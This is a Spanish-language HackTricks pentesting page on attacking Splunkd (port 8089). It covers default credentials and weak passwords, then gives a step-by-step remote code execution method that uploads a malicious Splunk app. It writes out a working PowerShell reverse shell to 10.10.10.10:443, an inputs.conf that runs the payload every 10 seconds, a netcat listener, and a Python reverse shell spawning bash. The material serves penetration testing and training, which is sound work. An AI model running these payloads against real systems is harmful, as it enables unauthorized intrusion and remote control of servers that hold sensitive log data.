9.8 KiB
8089 - Pentesting Splunkd
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Información básica
Splunk es una herramienta de análisis de registros utilizada para recopilar, analizar y visualizar datos. Aunque originalmente no estaba destinado a ser una herramienta SIEM, Splunk a menudo se utiliza para monitoreo de seguridad y análisis empresarial. Las implementaciones de Splunk a menudo se utilizan para almacenar datos sensibles y podrían proporcionar una gran cantidad de información para un atacante si se comprometen.
Puerto predeterminado: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} El servidor web de Splunk se ejecuta por defecto en el puerto 8000. {% endhint %}
Enumeración
Versión gratuita
La versión de prueba de Splunk Enterprise se convierte en una versión gratuita después de 60 días, que no requiere autenticación. No es raro que los administradores del sistema instalen una versión de prueba de Splunk para probarla, que posteriormente se olvida. Esto se convertirá automáticamente en la versión gratuita que no tiene ningún tipo de autenticación, lo que introduce un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a limitaciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.
Credenciales por defecto
En versiones antiguas de Splunk, las credenciales por defecto son admin:changeme
, que se muestran convenientemente en la página de inicio de sesión. Sin embargo, la última versión de Splunk establece credenciales durante el proceso de instalación. Si las credenciales por defecto no funcionan, vale la pena comprobar contraseñas débiles comunes como admin
, Welcome
, Welcome1
, Password123
, etc.
Obtener información
Una vez iniciada la sesión en Splunk, podemos navegar por los datos, ejecutar informes, crear paneles, instalar aplicaciones desde la biblioteca de Splunkbase e instalar aplicaciones personalizadas. También se puede ejecutar código: Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django en el lado del servidor, puntos finales REST, entradas con scripts y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es mediante el uso de una entrada con script.
Además, como Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas con scripts para ejecutar scripts Bash, PowerShell o Batch.
Shodan
Construcción de Splunk
RCE
Crear aplicación personalizada
Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Tenga en cuenta que Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrá ejecutar código de Python.
Puede utilizar este paquete de Splunk para ayudarnos. El directorio bin
en este repositorio tiene ejemplos para Python y PowerShell. Vamos a ver esto paso a paso.
Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorios:
tree splunk_shell/
splunk_shell/
├── bin
└── default
El directorio bin
contendrá cualquier script que pretendamos ejecutar (en este caso, un shell inverso de PowerShell), y el directorio predeterminado tendrá nuestro archivo inputs.conf
. Nuestro shell inverso será una línea de comando de PowerShell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
El archivo inputs.conf indica a Splunk qué script ejecutar y cualquier otra condición. Aquí establecemos que la aplicación está habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Necesitamos el archivo .bat
, que se ejecutará cuando se implemente la aplicación y ejecutará la línea de comando de PowerShell.
El siguiente paso es elegir Instalar aplicación desde archivo
y cargar la aplicación.
Antes de cargar la aplicación personalizada maliciosa, iniciemos un escucha usando Netcat o socat.
sudo nc -lnvp 443
listening on [any] 443 ...
En la página Subir aplicación
, haz clic en Examinar
, elige el archivo tarball que creamos anteriormente y haz clic en Subir
. Tan pronto como subamos la aplicación, recibiremos una shell inversa y el estado de la aplicación se cambiará automáticamente a Habilitado
.
Linux
Si estuviéramos tratando con un host de Linux, tendríamos que editar el script Python rev.py
antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de shell inversa en nuestro listener de Netcat y estaríamos listos para empezar.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE y Escalada de Privilegios
En la siguiente página puedes encontrar una explicación de cómo se puede abusar de este servicio para escalar privilegios y obtener persistencia:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Consigue el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.